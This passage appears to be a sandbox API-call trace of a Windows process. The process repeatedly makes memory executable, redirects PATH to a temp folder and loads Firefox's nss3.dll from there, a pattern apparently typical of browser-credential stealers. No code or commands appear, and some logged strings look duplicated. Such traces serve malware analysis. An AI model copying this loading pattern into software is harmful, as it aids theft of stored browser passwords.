BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0149.603] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0149.603] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0149.603] VirtualFree (lpAddress=0x1f34c000, dwSize=0x18000, dwFreeType=0x4000) returned 1 [0149.604] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0149.605] VirtualFree (lpAddress=0x1fd0c000, dwSize=0x4000, dwFreeType=0x4000) returned 1 [0149.605] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x408000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x408000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0149.606] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcefce0, cbMultiByte=8, lpWideCharStr=0x1e7dec24, cchWideChar=2047 | out: lpWideCharStr="nss3.dlllll.dll.dll") returned 8 [0149.606] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0149.606] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\41E341C3\\nss3.dll" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\41e341c3\\nss3.dll")) returned 0x2020 [0149.607] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x0, nSize=0x0 | out: lpBuffer=0x0) returned 0xc0 [0149.607] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x1e2428c4, nSize=0xc0 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\;C:\\Program Files\\Microsoft Office\\root\\Client;C:\\Program Files\\Microsoft Office\\root\\Client") returned 0xbf [0149.607] SetEnvironmentVariableW (lpName="PATH", lpValue="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\41E341C3\\;C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\;C:\\Program Files\\Microsoft Office\\root\\Client;C:\\Program Files\\Microsoft Office\\root\\Client") returned 1 [0149.607] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\41E341C3\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\41e341c3")) returned 1 [0149.608] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcefce0, cbMultiByte=8, lpWideCharStr=0x1e7dec1c, cchWideChar=2047 | out: lpWideCharStr="nss3.dll.dlllll.dll.dll") returned 8 [0149.608] LoadLibraryExW (lpLibFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\41E341C3\\nss3.dll", hFile=0x0, dwFlags=0x8) returned 0x746e0000 [0155.526] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0155.526] LoadLibraryExW (lpLibFileName="api-ms-win-core-synch-l1-2-0", hFile=0x0, dwFlags=0x800) returned 0x0 [0155.526] GetLastError () returned 0x57 [0155.528] wcsncmp (_String1="api-ms-", _String2="api-ms-", _MaxCount=0x7) returned 0 [0155.528] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x800) returned 0x0 [0155.528] GetLastError () returned 0x57 [0155.528] wcsncmp (_String1="kernel3", _String2="api-ms-", _MaxCount=0x7) returned 10 [0155.528] wcsncmp (_String1="kernel3", _String2="ext-ms-", _MaxCount=0x7) returned 6 [0155.529] LoadLibraryExW (lpLibFileName="kernel32", hFile=0x0, dwFlags=0x0) returned 0x75b90000 [0155.529] GetProcAddress (hModule=0x75b90000, lpProcName="InitializeCriticalSectionEx") returned 0x75ba4d28 [0155.529] LoadLibraryExW (lpLibFileName="api-ms-win-core-fibers-l1-1-1", hFile=0x0, dwFlags=0x800) returned 0x0 [0155.529] GetLastError () returned 0x57 [0155.530] wcsncmp (_String1="api-ms-", _String2="api-ms-", _MaxCount=0x7) returned 0 [0155.530] GetProcAddress (hModule=0x75b90000, lpProcName="FlsAlloc") returned 0x75ba4f2b [0155.530] GetProcAddress (hModule=0x75b90000, lpProcName="FlsSetValue") returned 0x75ba4208 [0155.531] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0155.531] _initialize_onexit_table (_Table=0x745b3a54) returned 0 [0155.531] _initialize_onexit_table (_Table=0x745b3a60) returned 0 [0155.531] RtlInitializeSListHead (in: ListHead=0x745b3a80 | out: ListHead=0x745b3a80) [0155.533] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75b90000 [0155.533] GetProcAddress (hModule=0x75b90000, lpProcName="FlsAlloc") returned 0x75ba4f2b [0155.533] GetProcAddress (hModule=0x75b90000, lpProcName="FlsFree") returned 0x75ba359f [0155.534] GetProcAddress (hModule=0x75b90000, lpProcName="FlsGetValue") returned 0x75ba1252 [0155.534] GetProcAddress (hModule=0x75b90000, lpProcName="FlsSetValue") returned 0x75ba4208 [0155.534] GetProcAddress (hModule=0x75b90000, lpProcName="InitializeCriticalSectionEx") returned 0x75ba4d28 [0155.534] GetProcAddress (hModule=0x75b90000, lpProcName="InitOnceExecuteOnce") returned 0x75bbd627 [0155.535] GetProcAddress (hModule=0x75b90000, lpProcName="CreateEventExW") returned 0x75c2410b [0155.535] GetProcAddress (hModule=0x75b90000, lpProcName="CreateSemaphoreW") returned 0x75bbca5a [0155.535] GetProcAddress (hModule=0x75b90000, lpProcName="CreateSemaphoreExW") returned 0x75c24195 [0155.536] GetProcAddress (hModule=0x75b90000, lpProcName="CreateThreadpoolTimer") returned 0x75bbee7e [0155.536] GetProcAddress (hModule=0x75b90000, lpProcName="SetThreadpoolTimer") returned 0x77bf441c [0155.536] GetProcAddress (hModule=0x75b90000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x77c1c50e [0155.536] GetProcAddress (hModule=0x75b90000, lpProcName="CloseThreadpoolTimer") returned 0x77c1c381 [0155.537] GetProcAddress (hModule=0x75b90000, lpProcName="CreateThreadpoolWait") returned 0x75bbf088 [0155.537] GetProcAddress (hModule=0x75b90000, lpProcName="SetThreadpoolWait") returned 0x77c005d7 [0155.537] GetProcAddress (hModule=0x75b90000, lpProcName="CloseThreadpoolWait") returned 0x77c1ca24 [0155.538] GetProcAddress (hModule=0x75b90000, lpProcName="FlushProcessWriteBuffers") returned 0x77bd0b8c [0155.538] GetProcAddress (hModule=0x75b90000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x77c8fde8 [0155.538] GetProcAddress (hModule=0x75b90000, lpProcName="GetCurrentProcessorNumber") returned 0x77c21e1d [0155.539] GetProcAddress (hModule=0x75b90000, lpProcName="CreateSymbolicLinkW") returned 0x75c1cd11 [0155.539] GetProcAddress (hModule=0x75b90000, lpProcName="GetCurrentPackageId") returned 0x0 [0155.539] GetProcAddress (hModule=0x75b90000, lpProcName="GetTickCount64") returned 0x75bbeee0 [0155.539] GetProcAddress (hModule=0x75b90000, lpProcName="GetFileInformationByHandleEx") returned 0x75bbc78f [0155.540] GetProcAddress (hModule=0x75b90000, lpProcName="SetFileInformationByHandle") returned 0x75bccbfc [0155.540] GetProcAddress (hModule=0x75b90000, lpProcName="GetSystemTimePreciseAsFileTime") returned 0x0 [0155.540] GetProcAddress (hModule=0x75b90000, lpProcName="InitializeConditionVariable") returned 0x77be8456 [0155.541] GetProcAddress (hModule=0x75b90000, lpProcName="WakeConditionVariable") returned 0x77c57de4 [0155.541] GetProcAddress (hModule=0x75b90000, lpProcName="WakeAllConditionVariable") returned 0x77c1409d [0155.541] GetProcAddress (hModule=0x75b90000, lpProcName="SleepConditionVariableCS") returned 0x75c24b32 [0155.573] GetProcAddress (hModule=0x75b90000, lpProcName="InitializeSRWLock") returned 0x77be8456 [0155.574] GetProcAddress (hModule=0x75b90000, lpProcName="AcquireSRWLockExclusive") returned 0x77be29f1 [0155.574] GetProcAddress (hModule=0x75b90000, lpProcName="TryAcquireSRWLockExclusive") returned 0x77bf4892 [0155.574] GetProcAddress (hModule=0x75b90000, lpProcName="ReleaseSRWLockExclusive") returned 0x77be29ab [0155.575] GetProcAddress (hModule=0x75b90000, lpProcName="SleepConditionVariableSRW") returned 0x75c24b74 [0155.575] GetProcAddress (hModule=0x75b90000, lpProcName="CreateThreadpoolWork") returned 0x75bbee45 [0155.575] GetProcAddress (hModule=0x75b90000, lpProcName="SubmitThreadpoolWork") returned 0x77c28491 [0155.576] GetProcAddress (hModule=0x75b90000, lpProcName="CloseThreadpoolWork") returned 0x77c1d8e2 [0155.576] GetProcAddress (hModule=0x75b90000, lpProcName="CompareStringEx") returned 0x75c246b1 [0155.576] GetProcAddress (hModule=0x75b90000, lpProcName="GetLocaleInfoEx") returned 0x75c24751 [0155.576] GetProcAddress (hModule=0x75b90000, lpProcName="LCMapStringEx") returned 0x75c247f1 [0155.577] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0155.578] _register_onexit_function (_Table=0x745b3a54, _Function=0x7458ec90) returned 0 [0155.578] __acrt_iob_func (param_1=0x2) returned 0x745110d0 [0155.578] malloc (_Size=0x8) returned 0x6aba10 [0155.578] _lock_locales () returned 0x0 [0155.578] malloc (_Size=0x20) returned 0x1e27f0e0 [0155.579] malloc (_Size=0x2) returned 0x6aba30 [0155.579] free (_Block=0x6aba30) [0155.579] malloc (_Size=0x2) returned 0x6aba30 [0155.580] _unlock_locales () returned 0x0 [0155.580] _get_stream_buffer_pointers (in: _Stream=0x745110d0, _Base=0x1e7df868, _Pointer=0x1e7df864, _Count=0x1e7df860 | out: _Base=0x1e7df868, _Pointer=0x1e7df864, _Count=0x1e7df860) returned 0x0 [0155.580] _register_onexit_function (_Table=0x745b3a54, _Function=0x7458eca0) returned 0 [0155.580] malloc (_Size=0x8) returned 0x6ab9d0 [0155.580] _lock_locales () returned 0x0 [0155.580] _unlock_locales () returned 0x0 [0155.580] _lock_locales () returned 0x0 [0155.580] _lock_locales () returned 0x0 [0155.580] _unlock_locales () returned 0x0 [0155.580] malloc (_Size=0x18) returned 0x1e2630d0 [0155.580] _lock_locales () returned 0x0 [0155.580] setlocale (category=0, locale=0x0) returned="C" [0155.580] malloc (_Size=0x2) returned 0x6aba20 [0155.581] setlocale (category=0, locale="C") returned="C" [0155.581] malloc (_Size=0x2) returned 0x6ab9e0 [0155.581] ___lc_codepage_func () returned 0x0 [0155.581] _calloc_base (_Count=0x100, _Size=0x2) returned 0x5bfa90 [0155.581] __pctype_func () returned 0x74444860 [0155.581] ___lc_locale_name_func () returned 0x1e1fbb88 [0155.581] setlocale (category=0, locale="C") returned="C" [0155.581] free (_Block=0x6ab9e0) [0155.581] free (_Block=0x6aba20) [0155.581] _unlock_locales () returned 0x0 [0155.581] malloc (_Size=0x8) returned 0x6aba20 [0155.581] _unlock_locales () returned 0x0 [0155.581] _register_onexit_function (_Table=0x745b3a54, _Function=0x7458ecb0) returned 0 [0155.581] _register_onexit_function (_Table=0x745b3a54, _Function=0x7458ecc0) returned 0 [0155.581] __acrt_iob_func (param_1=0x0) returned 0x74511060 [0155.581] malloc (_Size=0x8) returned 0x6ab9e0 [0155.581] _lock_locales () returned 0x0 [0155.582] _unlock_locales () returned 0x0 [0155.582] _get_stream_buffer_pointers (in: _Stream=0x74511060, _Base=0x1e7df868, _Pointer=0x1e7df864, _Count=0x1e7df860 | out: _Base=0x1e7df868, _Pointer=0x1e7df864, _Count=0x1e7df860) returned 0x0 [0155.582] _register_onexit_function (_Table=0x745b3a54, _Function=0x7458ecd0) returned 0 [0155.582] malloc (_Size=0x8) returned 0x6aba40 [0155.582] _lock_locales () returned 0x0 [0155.582] _unlock_locales () returned 0x0 [0155.582] _lock_locales () returned 0x0 [0155.582] _unlock_locales () returned 0x0 [0155.582] _register_onexit_function (_Table=0x745b3a54, _Function=0x7458ece0) returned 0 [0155.582] _register_onexit_function (_Table=0x745b3a54, _Function=0x7458ecf0) returned 0 [0155.582] __acrt_iob_func (param_1=0x2) returned 0x745110d0 [0155.582] malloc (_Size=0x8) returned 0x6aba60 [0155.582] _lock_locales () returned 0x0 [0155.582] _unlock_locales () returned 0x0 [0155.582] _get_stream_buffer_pointers (in: _Stream=0x745110d0, _Base=0x1e7df868, _Pointer=0x1e7df864, _Count=0x1e7df860 | out: _Base=0x1e7df868, _Pointer=0x1e7df864, _Count=0x1e7df860) returned 0x0 [0155.582] _register_onexit_function (_Table=0x745b3a54, _Function=0x7458ed00) returned 0 [0155.582] malloc (_Size=0x8) returned 0x6aba70 [0155.582] _lock_locales () returned 0x0 [0155.582] _unlock_locales () returned 0x0 [0155.583] _lock_locales () returned 0x0 [0155.583] _unlock_locales () returned 0x0 [0155.583] _register_onexit_function (_Table=0x745b3a54, _Function=0x7458ed10) returned 0 [0155.583] _register_onexit_function (_Table=0x745b3a54, _Function=0x7458ed20) returned 0 [0155.583] __acrt_iob_func (param_1=0x1) returned 0x74511098 [0155.583] malloc (_Size=0x8) returned 0x6aba80 [0155.583] _lock_locales () returned 0x0 [0155.583] _unlock_locales () returned 0x0 [0155.583] _get_stream_buffer_pointers (in: _Stream=0x74511098, _Base=0x1e7df868, _Pointer=0x1e7df864, _Count=0x1e7df860 | out: _Base=0x1e7df868, _Pointer=0x1e7df864, _Count=0x1e7df860) returned 0x0 [0155.583] _register_onexit_function (_Table=0x745b3a54, _Function=0x7458ed30) returned 0 [0155.583] malloc (_Size=0x8) returned 0x6aba90 [0155.583] _lock_locales () returned 0x0 [0155.583] _unlock_locales () returned 0x0 [0155.583] _lock_locales () returned 0x0 [0155.583] _unlock_locales () returned 0x0 [0155.583] _register_onexit_function (_Table=0x745b3a54, _Function=0x7458ed40) returned 0 [0155.583] _register_onexit_function (_Table=0x745b3a54, _Function=0x7458ed50) returned 0 [0155.583] _register_onexit_function (_Table=0x745b3a54, _Function=0x7458ed60) returned 0 [0155.583] _register_onexit_function (_Table=0x745b3a54, _Function=0x7458ee30) returned 0 [0155.583] _register_onexit_function (_Table=0x745b3a54, _Function=0x7458ee40) returned 0 [0155.583] __acrt_iob_func (param_1=0x2) returned 0x745110d0 [0155.584] malloc (_Size=0x8) returned 0x6abaa0 [0155.584] _lock_locales () returned 0x0 [0155.584] _unlock_locales () returned 0x0 [0155.584] _register_onexit_function (_Table=0x745b3a54, _Function=0x7458ee50) returned 0 [0155.584] malloc (_Size=0x8) returned 0x6abab0 [0155.584] _lock_locales () returned 0x0 [0155.584] _unlock_locales () returned 0x0 [0155.584] _lock_locales () returned 0x0 [0155.584] _lock_locales () returned 0x0 [0155.584] _unlock_locales () returned 0x0 [0155.584] malloc (_Size=0x44) returned 0x1e269af0 [0155.584] _lock_locales () returned 0x0 [0155.584] setlocale (category=0, locale=0x0) returned="C" [0155.584] malloc (_Size=0x2) returned 0x6abac0 [0155.584] setlocale (category=0, locale="C") returned="C" [0155.584] malloc (_Size=0x2) returned 0x6aba50 [0155.585] ___lc_codepage_func () returned 0x0 [0155.585] _calloc_base (_Count=0x100, _Size=0x2) returned 0x5b0cb8 [0155.585] __pctype_func () returned 0x74444860 [0155.585] ___lc_locale_name_func () returned 0x1e1fbac8 [0155.585] ___lc_codepage_func () returned 0x0 [0155.585] ___mb_cur_max_func () returned 1 [0155.585] ___lc_locale_name_func () returned 0x1e1fbac8 [0155.585] setlocale (category=0, locale="C") returned="C" [0155.585] free (_Block=0x6aba50) [0155.585] free (_Block=0x6abac0) [0155.585] _unlock_locales () returned 0x0 [0155.585] malloc (_Size=0x8) returned 0x6abac0 [0155.585] _unlock_locales () returned 0x0 [0155.585] _register_onexit_function (_Table=0x745b3a54, _Function=0x7458ee60) returned 0 [0155.585] _register_onexit_function (_Table=0x745b3a54, _Function=0x7458ee70) returned 0 [0155.585] __acrt_iob_func (param_1=0x0) returned 0x74511060 [0155.585] malloc (_Size=0x8) returned 0x6aba50 [0155.585] _lock_locales () returned 0x0 [0155.585] _unlock_locales () returned 0x0 [0155.585] _register_onexit_function (_Table=0x745b3a54, _Function=0x7458ee80) returned 0 [0155.585] malloc (_Size=0x8) returned 0x6abad0 [0155.585] _lock_locales () returned 0x0 [0155.585] _unlock_locales () returned 0x0 [0155.585] _lock_locales () returned 0x0 [0155.585] _unlock_locales () returned 0x0 [0155.585] _register_onexit_function (_Table=0x745b3a54, _Function=0x7458ee90) returned 0 [0155.586] _register_onexit_function (_Table=0x745b3a54, _Function=0x7458eea0) returned 0 [0155.586] __acrt_iob_func (param_1=0x2) returned 0x745110d0 [0155.586] malloc (_Size=0x8) returned 0x6abaf0 [0155.586] _lock_locales () returned 0x0 [0155.586] _unlock_locales () returned 0x0 [0155.586] _register_onexit_function (_Table=0x745b3a54, _Function=0x7458eeb0) returned 0 [0155.586] malloc (_Size=0x8) returned 0x6abb00 [0155.586] _lock_locales () returned 0x0 [0155.586] _unlock_locales () returned 0x0 [0155.586] _lock_locales () returned 0x0 [0155.586] _unlock_locales () returned 0x0 [0155.586] _register_onexit_function (_Table=0x745b3a54, _Function=0x7458eec0) returned 0 [0155.586] _register_onexit_function (_Table=0x745b3a54, _Function=0x7458eed0) returned 0 [0155.586] __acrt_iob_func (param_1=0x1) returned 0x74511098 [0155.586] malloc (_Size=0x8) returned 0x6abb10 [0155.586] _lock_locales () returned 0x0 [0155.586] _unlock_locales () returned 0x0 [0155.586] _register_onexit_function (_Table=0x745b3a54, _Function=0x7458eee0) returned 0 [0155.586] malloc (_Size=0x8) returned 0x608688 [0155.586] _lock_locales () returned 0x0 [0155.586] _unlock_locales () returned 0x0 [0155.586] _lock_locales () returned 0x0 [0155.586] _unlock_locales () returned 0x0 [0155.586] _register_onexit_function (_Table=0x745b3a54, _Function=0x7458eef0) returned 0 [0155.587] _register_onexit_function (_Table=0x745b3a54, _Function=0x7458ef00) returned 0 [0155.587] __acrt_iob_func (param_1=0x2) returned 0x745110d0 [0155.587] malloc (_Size=0x8) returned 0x608698 [0155.587] _lock_locales () returned 0x0 [0155.587] _unlock_locales () returned 0x0 [0155.587] _register_onexit_function (_Table=0x745b3a54, _Function=0x7458ef10) returned 0 [0155.587] malloc (_Size=0x8) returned 0x5b0ed8 [0155.587] _lock_locales () returned 0x0 [0155.587] _unlock_locales () returned 0x0 [0155.587] _lock_locales () returned 0x0 [0155.587] _lock_locales () returned 0x0 [0155.587] _unlock_locales () returned 0x0 [0155.587] malloc (_Size=0x44) returned 0x1e269b40 [0155.587] _lock_locales () returned 0x0 [0155.587] setlocale (category=0, locale=0x0) returned="C" [0155.587] malloc (_Size=0x2) returned 0x5b0ee8 [0155.587] setlocale (category=0, locale="C") returned="C" [0155.587] malloc (_Size=0x2) returned 0x5b0f08 [0155.587] ___lc_codepage_func () returned 0x0 [0155.587] _calloc_base (_Count=0x100, _Size=0x2) returned 0x1e27ff48 [0155.587] __pctype_func () returned 0x74444860 [0155.587] ___lc_locale_name_func () returned 0x1e1fbb88 [0155.587] ___lc_codepage_func () returned 0x0 [0155.587] ___mb_cur_max_func () returned 1 [0155.587] ___lc_locale_name_func () returned 0x1e1fbb88 [0155.587] setlocale (category=0, locale="C") returned="C" [0155.587] free (_Block=0x5b0f08) [0155.587] free (_Block=0x5b0ee8) [0155.587] _unlock_locales () returned 0x0 [0155.588] malloc (_Size=0x8) returned 0x5b0ee8 [0155.588] _unlock_locales () returned 0x0 [0155.588] _register_onexit_function (_Table=0x745b3a54, _Function=0x7458ef20) returned 0 [0155.588] _register_onexit_function (_Table=0x745b3a54, _Function=0x7458ef30) returned 0 [0155.588] __acrt_iob_func (param_1=0x0) returned 0x74511060 [0155.588] malloc (_Size=0x8) returned 0x5b0f08 [0155.588] _lock_locales () returned 0x0 [0155.589] _unlock_locales () returned 0x0 [0155.589] _register_onexit_function (_Table=0x745b3a54, _Function=0x7458ef40) returned 0 [0155.589] malloc (_Size=0x8) returned 0x5b0ef8 [0155.589] _lock_locales () returned 0x0 [0155.589] _unlock_locales () returned 0x0 [0155.589] _lock_locales () returned 0x0 [0155.589] _unlock_locales () returned 0x0 [0155.589] _register_onexit_function (_Table=0x745b3a54, _Function=0x7458ef50) returned 0 [0155.589] _register_onexit_function (_Table=0x745b3a54, _Function=0x7458ef60) returned 0 [0155.589] __acrt_iob_func (param_1=0x2) returned 0x745110d0 [0155.590] malloc (_Size=0x8) returned 0x5b0f28 [0155.590] _lock_locales () returned 0x0 [0155.590] _unlock_locales () returned 0x0 [0155.590] _register_onexit_function (_Table=0x745b3a54, _Function=0x7458ef70) returned 0 [0155.590] malloc (_Size=0x8) returned 0x5b0f38 [0155.590] _lock_locales () returned 0x0 [0155.590] _unlock_locales () returned 0x0 [0155.590] _lock_locales () returned 0x0 [0155.590] _unlock_locales () returned 0x0 [0155.590] _register_onexit_function (_Table=0x745b3a54, _Function=0x7458ef80) returned 0 [0155.590] _register_onexit_function (_Table=0x745b3a54, _Function=0x7458ef90) returned 0 [0155.590] __acrt_iob_func (param_1=0x1) returned 0x74511098 [0155.590] malloc (_Size=0x8) returned 0x5b0f48 [0155.590] _lock_locales () returned 0x0 [0155.590] _unlock_locales () returned 0x0 [0155.590] _register_onexit_function (_Table=0x745b3a54, _Function=0x7458efa0) returned 0 [0155.590] malloc (_Size=0x8) returned 0x5b0f58 [0155.590] _lock_locales () returned 0x0 [0155.590] _unlock_locales () returned 0x0 [0155.590] _lock_locales () returned 0x0 [0155.590] _unlock_locales () returned 0x0 [0155.590] _register_onexit_function (_Table=0x745b3a54, _Function=0x7458efb0) returned 0 [0155.590] _register_onexit_function (_Table=0x745b3a54, _Function=0x7458efc0) returned 0 [0155.590] _register_onexit_function (_Table=0x745b3a54, _Function=0x7458edb0) returned 0 [0155.591] _register_onexit_function (_Table=0x745b3a54, _Function=0x7458ee20) returned 0 [0155.591] _register_onexit_function (_Table=0x745b3a54, _Function=0x7458ec80) returned 0 [0155.592] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0155.592] _initialize_onexit_table (_Table=0x746d13cc) returned 0 [0155.592] _initialize_onexit_table (_Table=0x746d13d8) returned 0 [0155.592] RtlInitializeSListHead (in: ListHead=0x746d1400 | out: ListHead=0x746d1400) [0155.593] GetModuleHandleW (lpModuleName="api-ms-win-core-synch-l1-2-0.dll") returned 0x74400000 [0155.593] GetProcAddress (hModule=0x74400000, lpProcName="InitializeConditionVariable") returned 0x77be8456 [0155.593] GetProcAddress (hModule=0x74400000, lpProcName="SleepConditionVariableCS") returned 0x75c24b32 [0155.594] GetProcAddress (hModule=0x74400000, lpProcName="WakeAllConditionVariable") returned 0x77c1409d [0155.594] RtlInitializeConditionVariable () returned 0x746d1098 [0155.594] _register_onexit_function (_Table=0x746d13cc, _Function=0x746bc37a) returned 0 [0155.594] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0155.594] _register_onexit_function (_Table=0x746d13cc, _Function=0x746bdabb) returned 0 [0155.595] _register_onexit_function (_Table=0x746d13cc, _Function=0x746bdacf) returned 0 [0155.595] _register_onexit_function (_Table=0x746d13cc, _Function=0x746bdac5) returned 0 [0155.597] getenv (_VarName="MOZ_TIMESTAMP_MODE") returned 0x0 [0155.601] QueryPerformanceFrequency (in: lpFrequency=0x1e7df84c | out: lpFrequency=0x1e7df84c*=100000000) returned 1 [0155.601] _strnicmp (_Str1="GenuntelineI", _Str="GenuntelineI", _MaxCount=0xc) returned 0 [0155.601] GetSystemTimeAdjustment (in: lpTimeAdjustment=0x1e7df834, lpTimeIncrement=0x1e7df838, lpTimeAdjustmentDisabled=0x1e7df830 | out: lpTimeAdjustment=0x1e7df834, lpTimeIncrement=0x1e7df838, lpTimeAdjustmentDisabled=0x1e7df830) returned 1 [0155.601] QueryPerformanceCounter (in: lpPerformanceCount=0x1e7df818 | out: lpPerformanceCount=0x1e7df818*=23383414384) returned 1 [0155.601] QueryPerformanceCounter (in: lpPerformanceCount=0x1e7df818 | out: lpPerformanceCount=0x1e7df818*=23383426813) returned 1 [0155.601] QueryPerformanceCounter (in: lpPerformanceCount=0x1e7df818 | out: lpPerformanceCount=0x1e7df818*=23383438717) returned 1 [0155.601] QueryPerformanceCounter (in: lpPerformanceCount=0x1e7df818 | out: lpPerformanceCount=0x1e7df818*=23383450148) returned 1 [0155.601] QueryPerformanceCounter (in: lpPerformanceCount=0x1e7df818 | out: lpPerformanceCount=0x1e7df818*=23383461568) returned 1 [0155.602] QueryPerformanceCounter (in: lpPerformanceCount=0x1e7df818 | out: lpPerformanceCount=0x1e7df818*=23383472997) returned 1 [0155.602] QueryPerformanceCounter (in: lpPerformanceCount=0x1e7df818 | out: lpPerformanceCount=0x1e7df818*=23383593061) returned 1 [0155.603] QueryPerformanceCounter (in: lpPerformanceCount=0x1e7df818 | out: lpPerformanceCount=0x1e7df818*=23383605852) returned 1 [0155.603] QueryPerformanceCounter (in: lpPerformanceCount=0x1e7df818 | out: lpPerformanceCount=0x1e7df818*=23383617341) returned 1 [0155.603] QueryPerformanceCounter (in: lpPerformanceCount=0x1e7df818 | out: lpPerformanceCount=0x1e7df818*=23383628988) returned 1 [0155.603] QueryPerformanceCounter (in: lpPerformanceCount=0x1e7df818 | out: lpPerformanceCount=0x1e7df818*=23383640639) returned 1 [0155.603] QueryPerformanceCounter (in: lpPerformanceCount=0x1e7df818 | out: lpPerformanceCount=0x1e7df818*=23383651979) returned 1 [0155.603] QueryPerformanceCounter (in: lpPerformanceCount=0x1e7df818 | out: lpPerformanceCount=0x1e7df818*=23383670151) returned 1 [0155.604] QueryPerformanceCounter (in: lpPerformanceCount=0x1e7df818 | out: lpPerformanceCount=0x1e7df818*=23383681721) returned 1 [0155.604] QueryPerformanceCounter (in: lpPerformanceCount=0x1e7df818 | out: lpPerformanceCount=0x1e7df818*=23383692893) returned 1 [0155.604] QueryPerformanceCounter (in: lpPerformanceCount=0x1e7df818 | out: lpPerformanceCount=0x1e7df818*=23383703610) returned 1 [0155.604] QueryPerformanceCounter (in: lpPerformanceCount=0x1e7df818 | out: lpPerformanceCount=0x1e7df818*=23383714254) returned 1 [0155.604] QueryPerformanceCounter (in: lpPerformanceCount=0x1e7df818 | out: lpPerformanceCount=0x1e7df818*=23383725750) returned 1 [0155.604] QueryPerformanceCounter (in: lpPerformanceCount=0x1e7df818 | out: lpPerformanceCount=0x1e7df818*=23383736901) returned 1 [0155.604] QueryPerformanceCounter (in: lpPerformanceCount=0x1e7df818 | out: lpPerformanceCount=0x1e7df818*=23383748095) returned 1 [0155.604] QueryPerformanceCounter (in: lpPerformanceCount=0x1e7df844 | out: lpPerformanceCount=0x1e7df844*=23383760038) returned 1 [0155.605] GetTickCount64 () returned 0x115b720 [0155.605] _register_onexit_function (_Table=0x746d13cc, _Function=0x746bdad9) returned 0 [0155.605] DisableThreadLibraryCalls (hLibModule=0x746b0000) returned 0 [0155.606] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0155.607] _initialize_onexit_table (_Table=0x74809180) returned 0 [0155.607] _initialize_onexit_table (_Table=0x7480918c) returned 0 [0155.607] RtlInitializeSListHead (in: ListHead=0x74809170 | out: ListHead=0x74809170) [0155.607] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1 [0155.608] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x408000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x408000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0155.609] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0155.609] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, 